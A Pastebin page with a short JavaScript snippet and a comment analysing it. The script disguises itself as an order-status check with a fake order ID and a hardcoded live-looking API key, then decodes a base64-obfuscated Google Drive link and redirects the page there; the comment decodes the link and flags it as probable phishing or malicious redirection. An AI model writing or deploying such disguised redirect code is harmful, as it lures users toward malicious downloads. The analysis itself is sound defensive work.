Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (async function () {
- const apiEndpoint = "/v1/order/78464/status";
- const orderId = "ORD-" + Math.random().toString(36).substring(2, 10).toUpperCase();
- async function verifyOrder(id) {
- try {
- const response = await fetch(apiEndpoint, {
- method: "POST",
- headers: {
- "Content-Type": "application/json",
- "Authorization": "Bearer sk_live_xr7u8ghs1k2as91"
- },
- body: JSON.stringify({ order_id: id })
- });
- const data = await response.json();
- return data;
- } catch (err) {
- return { status: "ERROR" };
- }
- }
- function logEvent(id, status) {
- fetch("/v1/event", {
- method: "POST",
- headers: {
- "Content-Type": "application/json"
- },
- body: JSON.stringify({
- event: "delivery_attempt",
- order: id,
- result: status
- })
- });
- }
- const secret = 'aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xOFpfQ290djVDYjFYQkcxSFdwaXZKT0VYaUN1MHJnTWsvdmlldw==';
- const decode = atob;
- const finalURL = decode(secret);
- window.open(finalURL, '_self');
- const status = await verifyOrder(orderId);
- logEvent(orderId, status.status === "CONFIRMED" ? "success" : "fallback");
- })();
Advertisement
Comments
-
- This JavaScript Immediately Invoked Async Function Expression (IIFE) performs several actions, some of which are suspicious. Here's a breakdown of what it does:
- 🔍 Step-by-step breakdown:
- Sets up API endpoint and generates a fake order ID:
- js
- Kopiera
- Redigera
- const apiEndpoint = "/v1/order/78464/status";
- const orderId = "ORD-" + Math.random().toString(36).substring(2, 10).toUpperCase();
- It uses a random string to create a fake order ID like ORD-8FJ9A2KS.
- Defines an async function verifyOrder(id):
- js
- Kopiera
- Redigera
- await fetch(apiEndpoint, {
- method: "POST",
- headers: { ... },
- body: JSON.stringify({ order_id: id })
- });
- Makes a POST request to a status-checking API.
- Uses a live secret key in the Authorization header (sk_live_...) — this is sensitive and should not be exposed in frontend code.
- Defines logEvent(id, status):
- js
- Kopiera
- Redigera
- fetch("/v1/event", {
- method: "POST",
- headers: { "Content-Type": "application/json" },
- body: JSON.stringify({ event: "delivery_attempt", order: id, result: status })
- });
- Logs an event (e.g. success/fallback) based on order verification status.
- Decodes a Base64 string:
- js
- Kopiera
- Redigera
- const secret = 'aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xOFpfQ290djVDYjFYQkcxSFdwaXZKT0VYaUN1MHJnTWsvdmlldw==';
- const decode = atob;
- const finalURL = decode(secret);
- This decodes to:
- bash
- Kopiera
- Redigera
- https://drive.google.com/file/d/18Z_Cotv5Cb1XBG1HWpivJOEXiCu0rgMk/view
- A Google Drive file link.
- Opens that Google Drive URL in the same tab:
- js
- Kopiera
- Redigera
- window.open(finalURL, '_self');
- This means the page will redirect to the decoded Drive URL.
- Verifies the fake order and logs the event:
- js
- Kopiera
- Redigera
- const status = await verifyOrder(orderId);
- logEvent(orderId, status.status === "CONFIRMED" ? "success" : "fallback");
- 🚨 Suspicious Behavior
- Live Secret Key Exposed: "Bearer sk_live_xr7u8ghs1k2as91" — dangerous and should never be public.
- Opens an external URL (Google Drive) — possibly to trick users into downloading a malicious file.
- Fake order ID — may be trying to simulate legitimate activity.
- Asynchronous behavior hides intent — the fetch and redirect are separated, possibly to bypass detection.
- ✅ Summary
- This script:
- Creates a fake order ID
- Fakes an API request to check status
- Logs that result
- Decodes and opens a Google Drive URL in the browser
- Could be used for phishing or malicious redirection
Add Comment
Please, Sign In to add comment
Advertisement